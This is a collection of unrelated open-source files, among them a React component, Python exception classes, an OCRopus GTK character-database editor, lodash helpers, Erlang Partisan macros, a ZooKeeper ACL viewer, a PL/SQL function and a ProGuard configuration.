#undef DUMP_MESSAGE_STDOUT
#undef DUMP_CONFIG_PROPERTY
} // namespace
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no, minimal-ui">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<title>Framework7 React</title>
<link rel="stylesheet" href="css/framework7.ios.min.css">
<link rel="stylesheet" href="css/framework7.ios.colors.min.css">
</head>
<body>
<span id="react-root"></span>
<script type="text/javascript" src="dist/index.js"></script>
</body>
</html> | {
"pile_set_name": "Github"
} |
class FileException(Exception):
pass
class SubclassNotFound(FileException):
pass
class VersionNotFoundError(FileException):
pass
class FileNodeCheckedOutError(FileException):
"""
This is to be raised if a fileNode (file or folder) is checked
out, or if any of its children is checked out
"""
pass
class FileNodeIsPrimaryFile(FileException):
pass
| {
"pile_set_name": "Github"
} |
import React, { Component } from 'react';
import NodeTriggerActionType from './NodeTriggerActionType';
import NodeTriggerList from './NodeTriggerList';
class NodeTriggerActionMatchActions extends Component {
constructor(props) {
super(props);
this.changeType = this.changeType.bind(this);
this.removeAction = this.removeAction.bind(this);
this.onchangeAttr = this.onchangeAttr.bind(this);
}
changeType(e) {
this.props.onChangeType({id : this.props.id, 'type' : e.target.value});
}
removeAction() {
this.props.removeAction({id : this.props.id});
}
onchangeAttr(e) {
this.props.onChangeContent({id : this.props.id, 'path' : ['content'].concat(e.path), value : e.value});
}
render() {
return (
<div>
<div className="row">
<div className="col-2">
<div className="btn-group float-left" role="group" aria-label="Trigger actions">
<button disabled="disabled" className="btn btn-sm btn-info">{this.props.id + 1}</button>
{this.props.isFirst == false && <button className="btn btn-secondary btn-sm" onClick={(e) => this.props.upField(this.props.id)}><i className="material-icons mr-0">keyboard_arrow_up</i></button>}
{this.props.isLast == false && <button className="btn btn-secondary btn-sm" onClick={(e) => this.props.downField(this.props.id)}><i className="material-icons mr-0">keyboard_arrow_down</i></button>}
</div>
</div>
<div className="col-9">
<NodeTriggerActionType onChange={this.changeType} type={this.props.action.get('type')} />
</div>
<div className="col-1">
<button onClick={this.removeAction} type="button" className="btn btn-danger btn-sm float-right">
<i className="material-icons mr-0">delete</i>
</button>
</div>
</div>
<div className="row">
<div className="col-12">
<label><input type="checkbox" onChange={(e) => this.onchangeAttr({'path' : ['event_background'],'value' : e.target.checked})} defaultChecked={this.props.action.getIn(['content','event_background'])} /> Event is processed on next visitor message.</label>
</div>
<div className="col-6">
<div className="form-group">
<label>For what start chat actions to search</label>
<select className="form-control form-control-sm" defaultValue={this.props.action.getIn(['content','on_start_type'])} onChange={(e) => this.onchangeAttr({'path' : ['on_start_type'], 'value' : e.target.value})}>
<option value="0">Do not check on chat start</option>
<option value="1">Instant execution (Executes and continues workflow)</option>
<option value="2">Instant execution and block (executes and blocks further triggers execution)</option>
<option value="3">Instant execution and continue if stop is returned from this trigger</option>
<option value="4">Schedule (schedules for further execution trigger)</option>
<option value="5">Any</option>
</select>
</div>
</div>
<div className="col-6">
<div className="form-group">
<label>If no trigger was found execute this</label>
<NodeTriggerList onSetPayload={(e) => this.onchangeAttr({'path' : ['alternative_callback'], 'value' : e})} payload={this.props.action.getIn(['content','alternative_callback'])} />
</div>
</div>
</div>
<hr className="hr-big" />
</div>
);
}
}
export default NodeTriggerActionMatchActions;
| {
"pile_set_name": "Github"
} |
/**
* Plugin Manager
*/
var PluginManager = function(less) {
this.less = less;
this.visitors = [];
this.preProcessors = [];
this.postProcessors = [];
this.installedPlugins = [];
this.fileManagers = [];
};
/**
* Adds all the plugins in the array
* @param {Array} plugins
*/
PluginManager.prototype.addPlugins = function(plugins) {
if (plugins) {
for (var i = 0; i < plugins.length; i++) {
this.addPlugin(plugins[i]);
}
}
};
/**
*
* @param plugin
*/
PluginManager.prototype.addPlugin = function(plugin) {
this.installedPlugins.push(plugin);
plugin.install(this.less, this);
};
/**
* Adds a visitor. The visitor object has options on itself to determine
* when it should run.
* @param visitor
*/
PluginManager.prototype.addVisitor = function(visitor) {
this.visitors.push(visitor);
};
/**
* Adds a pre processor object
* @param {object} preProcessor
* @param {number} priority - guidelines 1 = before import, 1000 = import, 2000 = after import
*/
PluginManager.prototype.addPreProcessor = function(preProcessor, priority) {
var indexToInsertAt;
for (indexToInsertAt = 0; indexToInsertAt < this.preProcessors.length; indexToInsertAt++) {
if (this.preProcessors[indexToInsertAt].priority >= priority) {
break;
}
}
this.preProcessors.splice(indexToInsertAt, 0, {preProcessor: preProcessor, priority: priority});
};
/**
* Adds a post processor object
* @param {object} postProcessor
* @param {number} priority - guidelines 1 = before compression, 1000 = compression, 2000 = after compression
*/
PluginManager.prototype.addPostProcessor = function(postProcessor, priority) {
var indexToInsertAt;
for (indexToInsertAt = 0; indexToInsertAt < this.postProcessors.length; indexToInsertAt++) {
if (this.postProcessors[indexToInsertAt].priority >= priority) {
break;
}
}
this.postProcessors.splice(indexToInsertAt, 0, {postProcessor: postProcessor, priority: priority});
};
/**
*
* @param manager
*/
PluginManager.prototype.addFileManager = function(manager) {
this.fileManagers.push(manager);
};
/**
*
* @returns {Array}
* @private
*/
PluginManager.prototype.getPreProcessors = function() {
var preProcessors = [];
for (var i = 0; i < this.preProcessors.length; i++) {
preProcessors.push(this.preProcessors[i].preProcessor);
}
return preProcessors;
};
/**
*
* @returns {Array}
* @private
*/
PluginManager.prototype.getPostProcessors = function() {
var postProcessors = [];
for (var i = 0; i < this.postProcessors.length; i++) {
postProcessors.push(this.postProcessors[i].postProcessor);
}
return postProcessors;
};
/**
*
* @returns {Array}
* @private
*/
PluginManager.prototype.getVisitors = function() {
return this.visitors;
};
/**
*
* @returns {Array}
* @private
*/
PluginManager.prototype.getFileManagers = function() {
return this.fileManagers;
};
module.exports = PluginManager;
| {
"pile_set_name": "Github"
} |
[core]
backend=fbdev-backend.so
| {
"pile_set_name": "Github"
} |
body {
width:50em;
padding: 5em;
font-family: 'IM Fell English', serif;
}
h1 {
font-size: 175%;
text-align: center;
}
#code {
# padding: 20px;
# font-family: 'IM Fell English', serif;
# font-style: italic;
#}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
from optparse import OptionParser
import pygtk
pygtk.require("2.0")
import gobject,gtk,gtk.glade
import sys,pickle,os,glob
import scipy
from pylab import *
import sqlite3
import ocrolib
from ocrolib import dbtables,common
from ocrolib import Record
def TODO():
print """
accept-selection button (turns everything else to _)
redo-selection button (turns selection to _)
reject-selection button (turns selection to #)
misseg-selection button (turns selection to ~)
cluster-classifier using output of manual classification
special chars: #=reject, _=unclassified, ~=missegmentation
put confidence into database and display
nnet+exception
centering on largest component only
sort by size, similarity, frequency
"""
parser = OptionParser(usage="""
%prog [options] [input.db]
Edit character- and cluster-databases.
OCRopus isolated character training data is stored in sqlite3 databases
with a simple structure. Isolated characters are (usually) stored in
a table called "chars", while clusters are stored in a table called
"clusters". This application lets you browse and label these characters
and clusters.
You need to specify the correct table name for your database using the "-t"
flag.
Updates to the database are transacted and happen immediately; you don't need
to save. Even concurrent editing and viewing is possible. There is no
undo, but it's usually easy to manually undo changes.
There is a variety of sorting, training, and classification options available.
Particularly useful is the ability to sort by size and aspect ratio to quickly
identify characters that have implausible sizes or aspect ratios. Once you have
a character model, you can also sort by classifier confidence and focus correction
efforts on the characters with the least confidence.
Eventually, you will be able to cluster and train right from this interface, but
for now, use the external ocropus-ctrain and ocropus-cluster-db programs.
""")
parser.add_option("-m","--model",help="model used for classification",default="default.cmodel")
parser.add_option("-v","--verbose",help="verbose",action="store_true")
parser.add_option("-t","--table",help="which table to edit",default=None)
# use this with old (unflipped) cmodels trained from Python
parser.add_option("-F","--flip",help="flip characters before handing to classifier",default=1,action="store_false")
parser.add_option("-B","--batchsize",help="maximum number of characters loaded for display",type="int",default=50000)
(options,args) = parser.parse_args()
ion()
### misc utility functions
def detuple(item):
"""Return the first non-list/tuple element of the
argument, recursively."""
while 1:
if type(item) is tuple:
item = item[0]
continue
if type(item) is list:
item = item[0]
continue
return item
def numpy2pixbuf(a,limit=40):
"""Convert a numpy array to a pixbuf."""
r = max(a.shape)
scaled = 0
if r>limit:
a = array(a,'f')
a = scipy.ndimage.interpolation.zoom(a,limit/float(r),order=1)
scaled = 1
data = zeros(list(a.shape)+[3],'B')
data[:,:,0] = 255*a
data[:,:,1] = 255*a
data[:,:,2] = 255*a
if scaled:
data[:3,:3,:] = 0
data[:3,:3,1] = 255
return gtk.gdk.pixbuf_new_from_array(data,gtk.gdk.COLORSPACE_RGB,8)
### load the cluster images
print "opening table"
file = "clusters.db"
if len(args)>0: file = args[0]
if not os.path.exists(file):
print file,"not found"
sys.exit(1)
if options.table is None:
db = sqlite3.connect(file)
cur = db.cursor()
names = cur.execute("select name from sqlite_master where type='table'")
options.table = list(names)[0][0]
print "defaulting to table",options.table
table = dbtables.Table(file,options.table)
table.converter("image",dbtables.SmallImage())
print "done"
grid = [row[0] for row in table.query("select distinct(grid) from '%s'" % options.table)]
grid = [map(int,x.split()) for x in grid]
rows = amax(array([x[0] for x in grid]))+1
cols = amax(array([x[1] for x in grid]))+1
print "rows",rows,"cols",cols
data = array([[None]*cols]*rows)
classes = array([[None]*cols]*rows)
for row in table.get():
r,c = map(int,row.grid.split())
data[r,c] = row.image/255.0
classes[r,c] = row.cls
def get_clusters():
result = []
for i in range(data.shape[0]):
for j in range(data.shape[1]):
result.append(Record(image=data[i,j],cls=classes[i,j],classes="",count=1))
return result
def get_classes():
return list(table.get_keys("cls"))
def compute_combolist():
"""Compute the combolist from the current charlist."""
global charlist,combolist
select = class_selector.get_active_text()
charlist = sorted(get_classes())
charlist = ["_"]+charlist
combolist = gtk.ListStore(str)
for char in charlist:
combolist.append([char])
class_selector.set_model(combolist)
class_selector.set_text_column(0)
if select in charlist:
which = charlist.index(select)
class_selector.set_active(which)
def set_store(sortfun=None):
"""Set the store for the target class."""
global grid
grid = gtk.ListStore(gtk.gdk.Pixbuf,
str,
gobject.TYPE_PYOBJECT)
rownum = 0
selected = get_clusters()
if sortfun is not None:
selected = sortfun(selected)
for cluster in selected:
pixbuf = numpy2pixbuf(1.0-cluster.image)
row = [pixbuf,cluster.cls,cluster]
grid.append(row)
rownum += 1
if rownum>options.batchsize: break
cluster_viewer.set_model(grid)
move_to(0)
def move_to(index):
"""Move to the given index in the current view."""
index = detuple(index)
cluster_viewer.set_cursor(index)
cluster_viewer.select_path(index)
update_info()
def update_info():
"""Update the character information associated with the currently
selected character."""
index = cluster_viewer.get_cursor()
if index is None: return
index = index[0][0]
row = grid[index]
info_area.set_text(str(row[2].classes)+" "+str(row[2].count))
def get_extended():
"""Get a string from a dialog box, used for extended labels."""
dialog = gtk.MessageDialog(
None,
gtk.DIALOG_MODAL|gtk.DIALOG_DESTROY_WITH_PARENT,
gtk.MESSAGE_QUESTION,
gtk.BUTTONS_OK,
None)
dialog.set_markup("Transcript:")
entry = gtk.Entry()
entry.connect("activate",
lambda e,d,r: d.response(r),
dialog,gtk.RESPONSE_OK)
dialog.vbox.pack_end(entry,True,True,0)
dialog.show_all()
dialog.run()
text = entry.get_text()
dialog.destroy()
return text
def set_dist(x,s):
assert type(x)==ndarray,x
assert type(s[0])==ndarray,s[0]
minerr = 10000
for y in s:
if x.shape!=y.shape: continue
xt = x
err,rerr,_ = common.symdist(xt,y)
minerr = min(err,minerr)
return minerr
### toolbar commands
def cmd_similar(*args):
"""Sort by similarity to the selected item."""
global grid,cluster_viewer
assert type(grid)==gtk.ListStore
if 0:
selected = [grid[i][2].image for i in cluster_viewer.get_selected_items()]
dists = [set_dist(x[2].image,selected) for x in grid]
else:
selected = [ocrolib.stdsize(grid[i][2].image) for i in cluster_viewer.get_selected_items()]
dists = [set_dist(ocrolib.stdsize(x[2].image),selected) for x in grid]
index = array(argsort(dists))
index = [int(i) for i in index]
grid.reorder(index)
cluster_viewer.unselect_all()
cluster_viewer.scroll_to_path(1,1,0,0)
return 1
# sorting
def sort_menu_populate(cmd):
menu = gtk.Menu()
group = None
activated = 0
for sort in ["count","width","height","aspect","area","components","holes","endpoints","junctions"]:
item = gtk.RadioMenuItem(group=group,label=sort)
group = item
item.connect("toggled",cmd,sort)
menu.append(item)
if not activated:
item.activate() # activate the last one if there is no default
return menu
def cmd_sel_sort(item,which):
pass
def cmd_sort(*args):
pass
# classifying
def classifier_menu(cmd):
menu = gtk.Menu()
group = None
activated = 0
models = glob.glob("*.cmodel")
try:
modeldir = ocrolib.finddir("models")
models += glob.glob(modeldir+"/*.cmodel")
except IOError:
pass
for model in models:
item = gtk.RadioMenuItem(group=group,label=model)
if "default" in model:
item.activate()
activated = 1
group = item
item.connect("toggled",cmd,model)
menu.append(item)
if not activated:
item.activate() # activate the last one if there is no default
return menu
def cmd_sel_class(item,which):
if item.get_active():
print "activated class",item,which
load_classifier(which)
classifier = None
def load_classifier(which=options.model):
pass
load_classifier()
# confidence
confidence = None
def load_confidence(which=options.model):
pass
load_confidence()
def cmd_sel_conf(item,which):
if item.get_active():
print "activated conf",item,which
load_confidence(which)
def cmd_nn(*args):
pass
def cmd_class(*args):
return 1
def cmd_train(*args):
return 1
### basic event handlers
def on_iconview1_item_activated(*args):
update_info()
def on_iconview1_motion_notify_event(widget,event):
# item = widget.get_item_at_pos(event.x,event.y)
# if item is not None: move_to(item[0])
return 0
def on_iconview1_button_press_event(widget,event):
if event.button==1:
update_info()
return 0
if event.button==2:
item = widget.get_item_at_pos(event.x,event.y)
if item is not None:
s = "_"
item = detuple(item)
move_to(item)
row = grid[item]
row[1] = s
row[2].cls = s
table.put(row[2])
def on_iconview1_key_press_event(widget,event):
item = cluster_viewer.get_cursor()
# print item,event.string
if event.string in ["\027"]: # ^W
i = class_selector.get_active()
if i<=0: return 1
class_selector.set_active(i-1)
update_info()
return 1
if event.string in ["\032"]: # ^Z
i = class_selector.get_active()
if i<0: i = 0
if i>=len(combolist)-1: return 1 # it's one longer than the number of entries
class_selector.set_active(i+1)
update_info()
return 1
if event.string=="\022": # ^R = reload
compute_combolist()
return 1
if event.string>=" " or event.string=="\004":
last = -1
s = event.string
if s==".":
s = get_extended()
else:
if s in ["\004"]: s = ""
if s in [" "]: s = "~"
items = cluster_viewer.get_selected_items()
if items==[]:
items = [widget.get_cursor()[0][0]]
for item in items:
item = detuple(item)
if item>last: last = item
row = grid[item]
row[1] = s
row[2].cls = s
table.put(row[2],commit=0)
table.commit()
cluster_viewer.unselect_all()
move_to(last+1)
return 1
return 0
def build_toolbar():
global toolbar
toolbar = main_widget_tree.get_widget("toolbar")
toolbar.set_style(gtk.TOOLBAR_BOTH)
button = gtk.ToolButton(label="Similar")
button.connect("clicked",cmd_similar)
toolbar.insert(button,-1)
# button = gtk.ToolButton(label="Freq")
# button.connect("clicked",cmd_freq)
# toolbar.insert(button,-1)
# sort selector
sort_button = gtk.MenuToolButton(None,"Sort")
sort_menu = sort_menu_populate(cmd_sel_sort)
sort_button.set_menu(sort_menu)
sort_menu.show_all()
sort_button.show_all()
sort_button.connect("clicked",cmd_sort)
toolbar.insert(sort_button,-1)
# classify selector
classify_button = gtk.MenuToolButton(None,"Classify")
classify_menu = classifier_menu(cmd_sel_class)
classify_button.set_menu(classify_menu)
classify_menu.show_all()
classify_button.show_all()
classify_button.connect("clicked",cmd_nn)
toolbar.insert(classify_button,-1)
# confidence selector
conf_button = gtk.MenuToolButton(None,"Confidence")
conf_menu = classifier_menu(cmd_sel_conf)
conf_button.set_menu(conf_menu)
conf_menu.show_all()
conf_button.show_all()
conf_button.connect("clicked",cmd_class)
toolbar.insert(conf_button,-1)
train_button = gtk.ToolButton(label="Train")
train_button.connect("clicked",cmd_train)
toolbar.insert(train_button,-1)
def main():
global main_widget_tree,class_selector,cluster_viewer,info_area
gladefile = ocrolib.findfile("gui/ocroex-cedit.glade")
windowname = "window1"
main_widget_tree = gtk.glade.XML(gladefile)
dic = {
"on_window1_destroy_event" : gtk.main_quit,
"on_window1_delete_event" : gtk.main_quit,
"on_iconview1_key_press_event" : on_iconview1_key_press_event,
"on_iconview1_button_press_event" : on_iconview1_button_press_event,
"on_iconview1_item_activated" : on_iconview1_item_activated,
"on_iconview1_selection_changed" : on_iconview1_item_activated,
"on_iconview1_motion_notify_event" : on_iconview1_motion_notify_event,
}
main_widget_tree.signal_autoconnect(dic)
window = main_widget_tree.get_widget("window1")
build_toolbar()
graphview = main_widget_tree.get_widget("scrolledwindow1")
cluster_viewer = main_widget_tree.get_widget("iconview1")
cluster_viewer.set_selection_mode(gtk.SELECTION_MULTIPLE)
class_selector = main_widget_tree.get_widget("comboboxentry1")
info_area = main_widget_tree.get_widget("info")
cluster_viewer.set_item_width(50)
cluster_viewer.set_pixbuf_column(0)
cluster_viewer.set_text_column(1)
cluster_viewer.set_columns(cols)
assert cluster_viewer is not None
graphview.show_all()
cluster_viewer.show_all()
compute_combolist()
# class_selector.set_active(0)
status = main_widget_tree.get_widget("status")
main_widget_tree.get_widget("window1").show_all()
set_store()
gtk.main()
main()
| {
"pile_set_name": "Github"
} |
var baseCompareAscending = require('./baseCompareAscending');
/**
* Used by `_.sortByOrder` to compare multiple properties of a value to another
* and stable sort them.
*
* If `orders` is unspecified, all valuess are sorted in ascending order. Otherwise,
* a value is sorted in ascending order if its corresponding order is "asc", and
* descending if "desc".
*
* @private
* @param {Object} object The object to compare.
* @param {Object} other The other object to compare.
* @param {boolean[]} orders The order to sort by for each property.
* @returns {number} Returns the sort order indicator for `object`.
*/
function compareMultiple(object, other, orders) {
var index = -1,
objCriteria = object.criteria,
othCriteria = other.criteria,
length = objCriteria.length,
ordersLength = orders.length;
while (++index < length) {
var result = baseCompareAscending(objCriteria[index], othCriteria[index]);
if (result) {
if (index >= ordersLength) {
return result;
}
var order = orders[index];
return result * ((order === 'asc' || order === true) ? 1 : -1);
}
}
// Fixes an `Array#sort` bug in the JS engine embedded in Adobe applications
// that causes it, under certain circumstances, to provide the same value for
// `object` and `other`. See https://github.com/jashkenas/underscore/pull/1247
// for more details.
//
// This also ensures a stable sort in V8 and other engines.
// See https://code.google.com/p/v8/issues/detail?id=90 for more details.
return object.index - other.index;
}
module.exports = compareMultiple;
| {
"pile_set_name": "Github"
} |
-define(APP, partisan).
-define(PEER_IP, {127, 0, 0, 1}).
-define(PEER_PORT, 9090).
-define(PEER_SERVICE_SERVER, partisan_peer_service_server).
-define(FANOUT, 5).
-define(CACHE, partisan_connection_cache).
-define(CONNECTION_JITTER, 1000).
-define(TRACING, false).
-define(RELAY_TTL, 5).
-define(MEMBERSHIP_PROTOCOL_CHANNEL, membership).
%% Optimizations.
-define(RPC_CHANNEL, rpc).
-define(DEFAULT_CHANNEL, undefined).
-define(DEFAULT_PARTITION_KEY, undefined).
-define(PARALLELISM, 1). %% How many connections should exist between nodes?
% -define(CHANNELS, %% What channels should be established?
% [undefined, broadcast, vnode, {monotonic, gossip}]).
-define(CHANNELS, [?DEFAULT_CHANNEL]).
-define(CAUSAL_LABELS, []). %% What causal channels should be established?
%% Gossip.
-define(GOSSIP_CHANNEL, gossip).
-define(GOSSIP_FANOUT, 5). %% TODO: FIX ME.
-define(GOSSIP_GC_MIN_SIZE, 10).
%% Pluggable manager.
-define(PERIODIC_INTERVAL, 10000).
%% Scamp protocol.
-define(SCAMP_C_VALUE, 5). %% TODO: FIX ME.
-define(SCAMP_MESSAGE_WINDOW, 10).
%% Defaults.
-define(DEFAULT_PEER_SERVICE_MANAGER, partisan_pluggable_peer_service_manager).
-define(DEFAULT_MEMBERSHIP_STRATEGY, partisan_full_membership_strategy).
-define(DEFAULT_ORCHESTRATION_STRATEGY, undefined).
%% Pluggable manager options.
-define(DISTANCE_ENABLED, true).
-define(PERIODIC_ENABLED, true).
%% Test variables.
-define(MEMBERSHIP_STRATEGY_TRACING, false).
-record(property_state,
{joined_nodes :: [node()],
nodes :: [node()],
node_state :: {dict:dict(), dict:dict()},
fault_model_state :: term(),
counter :: non_neg_integer()}).
-define(SUPPORT, partisan_support).
-define(OVERRIDE_PERIODIC_INTERVAL, 10000).
-define(UTIL, partisan_plumtree_util).
-define(DEFAULT_LAZY_TICK_PERIOD, 1000).
-define(DEFAULT_EXCHANGE_TICK_PERIOD, 10000).
-define(XBOT_MIN_INTERVAL, 5000).
-define(XBOT_RANGE_INTERVAL, 60000).
% parameter used for xbot optimization
% - latency (uses ping to check better nodes)
% - true (always returns true when checking better)
-define(XPARAM, latency).
-type options() :: [{atom(), term()}].
-type actor() :: binary().
-type listen_addr() :: #{ip => inet:ip_address(), port => non_neg_integer()}.
-type node_spec() :: #{name => node(),
listen_addrs => [listen_addr()],
channels => [channel()],
parallelism => non_neg_integer()}.
-type message() :: term().
-type name() :: node().
-type partitions() :: [{reference(), node_spec()}].
-type ttl() :: non_neg_integer().
-type channel() :: atom().
%% TODO: add type annotations
-record(orchestration_strategy_state,
{orchestration_strategy,
is_connected,
was_connected,
attempted_nodes,
peer_service,
graph,
tree,
eredis,
servers,
nodes}).
| {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.zookeeper.inspector.gui.nodeviewer;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.Insets;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ExecutionException;
import javax.swing.BorderFactory;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextField;
import javax.swing.SwingWorker;
import org.apache.zookeeper.inspector.logger.LoggerFactory;
import org.apache.zookeeper.inspector.manager.ZooInspectorNodeManager;
/**
* A node viewer for displaying the ACLs currently applied to the selected node
*/
public class NodeViewerACL extends ZooInspectorNodeViewer {
private ZooInspectorNodeManager zooInspectorManager;
private final JPanel aclDataPanel;
private String selectedNode;
/**
*
*/
public NodeViewerACL() {
this.setLayout(new BorderLayout());
this.aclDataPanel = new JPanel();
this.aclDataPanel.setBackground(Color.WHITE);
JScrollPane scroller = new JScrollPane(this.aclDataPanel);
this.add(scroller, BorderLayout.CENTER);
}
/*
* (non-Javadoc)
*
* @see
* org.apache.zookeeper.inspector.gui.nodeviewer.ZooInspectorNodeViewer#
* getTitle()
*/
@Override
public String getTitle() {
return "Node ACLs";
}
/*
* (non-Javadoc)
*
* @see
* org.apache.zookeeper.inspector.gui.nodeviewer.ZooInspectorNodeViewer#
* nodeSelectionChanged(java.util.Set)
*/
@Override
public void nodeSelectionChanged(List<String> selectedNodes) {
this.aclDataPanel.removeAll();
if (selectedNodes.size() > 0) {
this.selectedNode = selectedNodes.get(0);
SwingWorker<List<Map<String, String>>, Void> worker = new SwingWorker<List<Map<String, String>>, Void>() {
@Override
protected List<Map<String, String>> doInBackground()
throws Exception {
return NodeViewerACL.this.zooInspectorManager
.getACLs(NodeViewerACL.this.selectedNode);
}
@Override
protected void done() {
List<Map<String, String>> acls = null;
try {
acls = get();
} catch (InterruptedException e) {
acls = new ArrayList<Map<String, String>>();
LoggerFactory.getLogger().error(
"Error retrieving ACL Information for node: "
+ NodeViewerACL.this.selectedNode, e);
} catch (ExecutionException e) {
acls = new ArrayList<Map<String, String>>();
LoggerFactory.getLogger().error(
"Error retrieving ACL Information for node: "
+ NodeViewerACL.this.selectedNode, e);
}
aclDataPanel.setLayout(new GridBagLayout());
int j = 0;
for (Map<String, String> data : acls) {
int rowPos = 2 * j + 1;
JPanel aclPanel = new JPanel();
aclPanel.setBorder(BorderFactory
.createLineBorder(Color.BLACK));
aclPanel.setBackground(Color.WHITE);
aclPanel.setLayout(new GridBagLayout());
int i = 0;
for (Map.Entry<String, String> entry : data.entrySet()) {
int rowPosACL = 2 * i + 1;
JLabel label = new JLabel(entry.getKey());
JTextField text = new JTextField(entry.getValue());
text.setEditable(false);
GridBagConstraints c1 = new GridBagConstraints();
c1.gridx = 1;
c1.gridy = rowPosACL;
c1.gridwidth = 1;
c1.gridheight = 1;
c1.weightx = 0;
c1.weighty = 0;
c1.anchor = GridBagConstraints.NORTHWEST;
c1.fill = GridBagConstraints.BOTH;
c1.insets = new Insets(5, 5, 5, 5);
c1.ipadx = 0;
c1.ipady = 0;
aclPanel.add(label, c1);
GridBagConstraints c2 = new GridBagConstraints();
c2.gridx = 3;
c2.gridy = rowPosACL;
c2.gridwidth = 1;
c2.gridheight = 1;
c2.weightx = 0;
c2.weighty = 0;
c2.anchor = GridBagConstraints.NORTHWEST;
c2.fill = GridBagConstraints.BOTH;
c2.insets = new Insets(5, 5, 5, 5);
c2.ipadx = 0;
c2.ipady = 0;
aclPanel.add(text, c2);
i++;
}
GridBagConstraints c = new GridBagConstraints();
c.gridx = 1;
c.gridy = rowPos;
c.gridwidth = 1;
c.gridheight = 1;
c.weightx = 1;
c.weighty = 1;
c.anchor = GridBagConstraints.NORTHWEST;
c.fill = GridBagConstraints.NONE;
c.insets = new Insets(5, 5, 5, 5);
c.ipadx = 0;
c.ipady = 0;
aclDataPanel.add(aclPanel, c);
}
NodeViewerACL.this.aclDataPanel.revalidate();
NodeViewerACL.this.aclDataPanel.repaint();
}
};
worker.execute();
}
}
/*
* (non-Javadoc)
*
* @see
* org.apache.zookeeper.inspector.gui.nodeviewer.ZooInspectorNodeViewer#
* setZooInspectorManager
* (org.apache.zookeeper.inspector.manager.ZooInspectorNodeManager)
*/
@Override
public void setZooInspectorManager(
ZooInspectorNodeManager zooInspectorManager) {
this.zooInspectorManager = zooInspectorManager;
}
}
| {
"pile_set_name": "Github"
} |
--
-- Copyright (c) 2008 Red Hat, Inc.
--
-- This software is licensed to you under the GNU General Public License,
-- version 2 (GPLv2). There is NO WARRANTY for this software, express or
-- implied, including the implied warranties of MERCHANTABILITY or FITNESS
-- FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2
-- along with this software; if not, see
-- http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
--
-- Red Hat trademarks are not licensed under GPLv2. No permission is
-- granted to use or replicate Red Hat trademarks that are incorporated
-- in this software or its documentation.
--
--
-- $Id$
--
CREATE OR REPLACE FUNCTION
LOOKUP_TAG_NAME(name_in IN VARCHAR2)
RETURN NUMBER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
name_id NUMBER;
BEGIN
select id into name_id
from rhnTagName
where name = name_in;
RETURN name_id;
EXCEPTION
WHEN NO_DATA_FOUND THEN
insert into rhnTagName(id, name)
values (rhn_tagname_id_seq.nextval, name_in)
returning id into name_id;
COMMIT;
RETURN name_id;
END;
/
SHOW ERRORS
-- $Log$
-- Revision 1.1 2003/10/15 20:29:53 bretm
-- bugzilla: 107189
--
-- 1st pass at snapshot tagging schema
--
| {
"pile_set_name": "Github"
} |
/** Used as references for various `Number` constants. */
var MAX_SAFE_INTEGER = 9007199254740991;
/* Built-in method references for those with the same name as other `lodash` methods. */
var nativeFloor = Math.floor;
/**
* The base implementation of `_.repeat` which doesn't coerce arguments.
*
* @private
* @param {string} string The string to repeat.
* @param {number} n The number of times to repeat the string.
* @returns {string} Returns the repeated string.
*/
function baseRepeat(string, n) {
var result = '';
if (!string || n < 1 || n > MAX_SAFE_INTEGER) {
return result;
}
// Leverage the exponentiation by squaring algorithm for a faster repeat.
// See https://en.wikipedia.org/wiki/Exponentiation_by_squaring for more details.
do {
if (n % 2) {
result += string;
}
n = nativeFloor(n / 2);
if (n) {
string += string;
}
} while (n);
return result;
}
module.exports = baseRepeat;
| {
"pile_set_name": "Github"
} |
/**
*
* ListHeader
*
*/
import React from 'react';
import PropTypes from 'prop-types';
import { ListHeader as StyledListHeader } from '@buffetjs/styles';
import Button from '../Button';
import Flex from '../Flex';
import Padded from '../Padded';
import Text from '../Text';
import BaselineAlignement from './BaselineAlignement';
function ListHeader({ button, title, subtitle }) {
return (
<StyledListHeader>
<Flex justifyContent="space-between">
<Padded top bottom size="smd">
<Text fontSize="lg" fontWeight="bold" lineHeight="18px">
{title}
</Text>
{subtitle && (
<Padded top size="xs">
<Text fontSize="md" color="grey" lineHeight="13px">
{subtitle}
</Text>
</Padded>
)}
</Padded>
{button && (
<BaselineAlignement>
<Button {...button} />
</BaselineAlignement>
)}
</Flex>
</StyledListHeader>
);
}
ListHeader.defaultProps = {
button: null,
title: null,
subtitle: null,
};
ListHeader.propTypes = {
button: PropTypes.shape({
color: PropTypes.string,
icon: PropTypes.bool,
type: PropTypes.string,
}),
subtitle: PropTypes.string,
title: PropTypes.string,
};
export default ListHeader;
| {
"pile_set_name": "Github"
} |
# 在这里添加项目的代码混淆规则
# 混淆规则请参考:http://proguard.sourceforge.net/index.html#manual/usage.html
##################### 一般使用默认 #####################
# 不使用大小写混合类名,混淆后的类名为小写
-dontusemixedcaseclassnames
# 混淆第三方库
-dontskipnonpubliclibraryclasses
# 混淆时记录日志,有助于排查错误
-verbose
# 代码混淆使用的算法.
-optimizations !code/simplification/arithmetic,!code/simplification/cast,!field/*,!class/merging/*
# 代码混淆压缩比,值在0-7之间,默认为5.
-optimizationpasses 5
# 优化时允许访问并修改有修饰符的类和类的成员
-allowaccessmodification
##################### 不混淆 #####################
# 这些类不混淆
-keep public class * extends android.app.Activity
